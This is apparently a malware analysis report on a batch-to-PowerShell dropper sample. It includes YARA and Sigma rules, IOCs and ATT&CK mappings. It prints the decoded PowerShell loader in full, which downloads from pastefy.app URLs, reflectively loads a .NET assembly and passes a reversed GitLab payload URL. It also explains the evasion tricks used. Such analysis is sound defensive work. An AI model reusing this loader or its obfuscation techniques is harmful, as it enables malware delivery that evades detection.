typeanalysisfamilyunclassified-batch-powershell-dropperconfidencemediumscriptdropperc2defense-evasionexecutionobfuscationpowershelldotnet
SHA-256: eda47a53b9d17d5f8dd8866b245679d5a008916d366a1464677c63d109d7d6b0

unclassified-batch-powershell-dropper: eda47a53 — pastefy/GitLab variant, Sostsenrer2 C2

Executive Summary

An 8.3 KB batch→PowerShell→.NET dropper sibling to the cae0056ac family variant. Same SET/GOTO variable-expansion obfuscation, same myprogram.Homees.runss reflective assembly invocation, same MsBuild masquerade string. Rotated first-stage C2 from dpaste/pastefy to dual pastefy.app URLs, with a reversed-string GitLab second-stage (sostsenrer2). Static-only analysis (CAPE skipped text file).

What It Is

  • File type: DOS batch file, ASCII text, 195 lines, 8,309 bytes ^[file.txt]
  • Filename on disk: f520ea35dcb20feaeaf2835df2e5f1c3.bat
  • SHA-256: eda47a53b9d17d5f8dd8866b245679d5a008916d366a1464677c63d109d7d6b0
  • SSDEEP: 192:TtUyQu0Wcu91UUyJFYqUCNdleI2G7ebLtAW377DwEMgUhz5:TKbuHd92DYZCNdh2xbJXkMUh5 ^[ssdeep.txt]
  • YARA: No matches (text file, no binary signatures) ^[yara.txt]

How It Works (Static Reconstruction)

Stage 0 — Batch script

@echo off followed by a GOTO chain that defines 62 SET variables, each holding a fragment of UTF-16LE-encoded PowerShell. Line 37 reassembles them in a single expansion line and launches powershell.exe -WindowStyle Hidden -ArgumentList '...'. ^[strings.txt:1-37]

This is the standard batch-powershell-variable-expansion-obfuscation technique.

Stage 1 — PowerShell decoded payload

After removing f@ insertion markers and base64-decoding the assembled string, the inner PowerShell is:

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12

function Get-RemoteData {
    param ([string[]]$urls)
    $client = New-Object System.Net.WebClient
    $randomOrder = Get-Random -InputObject $urls -Count $urls.Length
    foreach ($u in $randomOrder) {
        try { return $client.DownloadData($u) } catch { continue }
    }
    return $null
}

$scheme1 = 'http'; $scheme2 = 's://'; $baseUrl = $scheme1 + $scheme2

$targetUrls = @(
    ($baseUrl + 'pastefy.app/JJtdc9TE/raw'),
    ($baseUrl + 'pastefy.app/3ocDEoXR/raw')
)

$rawData = Get-RemoteData $targetUrls
if ($rawData -ne $null) {
    $textContent = [System.Text.Encoding]::UTF8.GetString($rawData)
    $startTag = '<<B' + 'ASE64' + '_START>>'
    $endTag   = '<<BASE64_END>>'

    $startPos = $textContent.IndexOf($startTag)
    $endPos   = $textContent.IndexOf($endTag)

    if ($startPos -ge 0 -and $endPos -gt $startPos) {
        $startPos += $startTag.Length
        $base64Length = $endPos - $startPos
        $base64Chunk = $textContent.Substring($startPos, $base64Length)

        $assemblyBytes = [System.Convert]::FromBase64String($base64Chunk)
        $loadedAsm = [System.Reflection.Assembly]::Load($assemblyBytes)

        $targetType = $loadedAsm.GetType('myprogram.Homees')

        $injValue = 'MsBuild'
        $str = '0'
        $gg = '2052renetsos/niam/war/-/2rernestsos/mom_odus/moc.baltig//:s gsffsf'
        $gg = $gg.Substring(0, $gg.Length - 7)

        $targetType.GetMethod('run' + 'ss').Invoke(
            $null,
            [object[]] ($gg, $str, '', $injValue, '0', 'x86')
        )
    }
}

^[reconstructed_payload.py]

Stage 2 — .NET assembly (inferred)

The PowerShell loads a base64-encoded .NET assembly from paste-site text (delimited by <<BASE64_START>> / <<BASE64_END>>), then invokes myprogram.Homees.runss with arguments:

  1. Reversed GitLab URL (s://gitlab.com/sudo_mom/sostsenrer2/-/raw/main/sostener2502) — resolved by reversing and stripping trailing junk.
  2. '0' (likely a version/branch flag).
  3. Empty string.
  4. 'MsBuild' — masquerade / proxy-execution marker.
  5. '0'.
  6. 'x86' — architecture target.

The actual assembly was not fetched from the paste site; its behavior is inferred from the family pattern documented in unclassified-batch-powershell-dropper.

Build / RE

  • Language / host: DOS batch script (cmd.exe)
  • Obfuscation: Manual. No commercial packer. String split across 62 variables, rejoined via %VAR% expansion. UTF-16LE raw bytes (not base64) stored in SET values to prevent ASCII string recovery of individual fragments. ^[strings.txt:4-34]
  • Base64 corruption trick: The assembled PowerShell embeds the sequence f@ inside valid base64; before decoding, [regex]::replace($jfsjg, 'f@','f') strips it. This breaks naive base64 regex extraction. ^[reconstructed_payload.py]
  • Anti-analysis: None beyond script-level obfuscation. No anti-VM, no anti-debug. Relies on being a trivial text file that sandboxes may misclassify or skip. ^[dynamic-analysis.md]
  • Code quality: Low — verbose repetitive batch patterns. Hardcoded pastefy URLs and GitLab identifiers that rotate infrequently per campaign.

Decompiled Behavior

Not applicable — not a compiled binary. Behavior reconstructed entirely from decoded PowerShell payload (see "How It Works" above).

C2 Infrastructure

First-stage download (failover)

  • https://pastefy.app/JJtdc9TE/raw
  • https://pastefy.app/3ocDEoXR/raw

Randomized order; proceeds to the first that responds. ^[reconstructed_payload.py]

Second-stage payload source (inferred)

  • https://gitlab.com/sudo_mom/sostsenrer2/-/raw/main/sostener2502

Reversed string with trailing junk ( gsffsf, 7 chars). The substring strip ($gg.Substring(0, $gg.Length - 7)) is a standard anti-static trick from this family. ^[reconstructed_payload.py]

Note: The sostsenrer2 GitLab repository name differs from the cae0056ac sibling (sosttenere2). This is a campaign rotation, not a typo.

Interesting Tidbits

  • UTF-16LE encoding in batch SET values: Most analysis tools will show the SET fragments as base64-like ASCII strings, but reassembly and base64-decode produces UTF-16LE PowerShell, not UTF-8. The batch script effectively transports a UTF-16LE payload through ASCII variables. ^[strings.txt]
  • Caret escape residue: The expanded execution line contains ^([sys — caret escapes used inside the batch file to prevent premature evaluation of parentheses. These are stripped by cmd.exe at runtime but may confuse static parsers. ^[strings.txt:36]
  • Method-name splitting: GetMethod('run' + 'ss') — the string runss never appears contiguous in any single variable, defeating exact-match YARA. ^[reconstructed_payload.py]
  • Tag splitting: <<BASE64_START>> and <<BASE64_END>> markers are also constructed by concatenating fragments ('<<B' + 'ASE64' + '_START>>'), another anti-string-match measure. ^[reconstructed_payload.py]
  • CAPE skipped: dynamic-analysis.md notes the file is "not a supported binary class for detonation." ^[dynamic-analysis.md]

Deployable Signatures

YARA Rule

rule UnclassifiedBatchPowershellDropper_Variant
{
    meta:
        description = "Batch→PowerShell→.NET dropper with SET/GOTO variable expansion, pastefy/GitLab C2, MsBuild masquerade"
        author = "Titus / PacketPursuit"
        sha256 = "eda47a53b9d17d5f8dd8866b245679d5a008916d366a1464677c63d109d7d6b0"
        family = "unclassified-batch-powershell-dropper"
    strings:
        $s1 = "@echo off" nocase
        $s2 = "GOTO" nocase
        $s3 = "SET" nocase
        $s4 = "powershell.exe -WindowStyle Hidden" nocase
        $s5 = "-ArgumentList '-Command" nocase
        $s6 = "myprogram.Homees" nocase
        $s7 = "run" nocase
        $s8 = "ss" nocase
        $s9 = " pastefy.app/" nocase
        $s10 = "gitlab.com/sudo_mom/" nocase
        $s11 = "[regex]::replace" nocase
        $s12 = "[System.Reflection.Assembly]::Load" nocase
    condition:
        $s1 at 0 and
        #s2 > 10 and
        #s3 > 20 and
        $s4 and
        ($s6 or ($s7 and $s8)) and
        ($s9 or $s10)
}

Sigma Rule

title: Batch Script Loading PowerShell with Pastefy/GitLab Download
id: 8d6c4f2e-9a3b-4e5c-8d1f-2a3b4c5d6e7f
status: experimental
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        CommandLine|contains|all:
            - 'powershell.exe'
            - 'pastefy.app'
        ParentImage|contains:
            - 'cmd.exe'
    condition: selection
falsepositives:
    - Legitimate use of pastefy for benign scripts in enterprise environments (unlikely)
level: high

IOC List

Indicator Type Note
eda47a53b9d17d5f8dd8866b245679d5a008916d366a1464677c63d109d7d6b0 SHA-256 This sample
f520ea35dcb20feaeaf2835df2e5f1c3.bat Filename Delivery name
pastefy.app/JJtdc9TE/raw URL First-stage payload
pastefy.app/3ocDEoXR/raw URL Failover first-stage
gitlab.com/sudo_mom/sostsenrer2 URL Second-stage payload source (reversed string)
sostener2502 String Likely payload artifact or version tag
myprogram.Homees Type name .NET assembly entry class
runss Method name Entry method (split in payload)
MsBuild String Masquerade / proxy-execution marker

Behavioral Fingerprint Statement

This file is a DOS batch script (cmd.exe parent) that expands 50–70 SET variables into a single PowerShell command-line exceeding 4,000 characters, launching powershell.exe -WindowStyle Hidden -ArgumentList '...'. It downloads data from pastefy.app (failover: two randomized URLs), extracts base64 between <<BASE64_START>>/<<BASE64_END>> delimiters, loads the result via [System.Reflection.Assembly]::Load, and invokes myprogram.Homees.runss with a reversed-string GitLab URL and the string MsBuild as an argument. No anti-analysis beyond manual variable fragmentation. No disk write of the second-stage assembly.

Detection Signatures (capa → ATT&CK)

Not applicable — capa.txt reports "Input file does not appear to be a supported file." ^[capa.txt]

Static inference mapped to ATT&CK:

Tactic Technique Evidence
Execution T1059.003 (Windows Command Shell) Batch script assembly and launch ^[strings.txt:1-37]
Execution T1059.001 (PowerShell) Nested powershell.exe -WindowStyle Hidden inline script ^[reconstructed_payload.py]
Command and Control T1105 (Ingress Tool Transfer) Paste-site download with failover (pastefy.app, randomized order) ^[reconstructed_payload.py]
Defense Evasion T1620 (Reflective Code Loading) [Reflection.Assembly]::Load without disk write ^[reconstructed_payload.py]
Defense Evasion T1127.001 (Trusted Developer Utilities Proxy Execution) Masquerade string MsBuild passed to invoked method ^[reconstructed_payload.py]
Defense Evasion T1027.002 (Obfuscated Files or Information: Software Packing) Manual SET/GOTO variable expansion obfuscation ^[strings.txt]

References

Provenance

  • Artifact: eda47a53b9d17d5f8dd8866b245679d5a008916d366a1464677c63d109d7d6b0
  • Source: OpenCTI via malware-bazaar connector ^[metadata.json]
  • Tools: file (file.txt), ExifTool (exiftool.json), ssdeep (ssdeep.txt), radare2 (rabin2-info.txt — confirms bits: 0, havecode: false), custom Python reconstruction script (/tmp/extract_payload.py)
  • CAPE: skipped (not a supported binary class) ^[dynamic-analysis.md]
  • Reconstructed by: Titus / PacketPursuit, 2026-06-03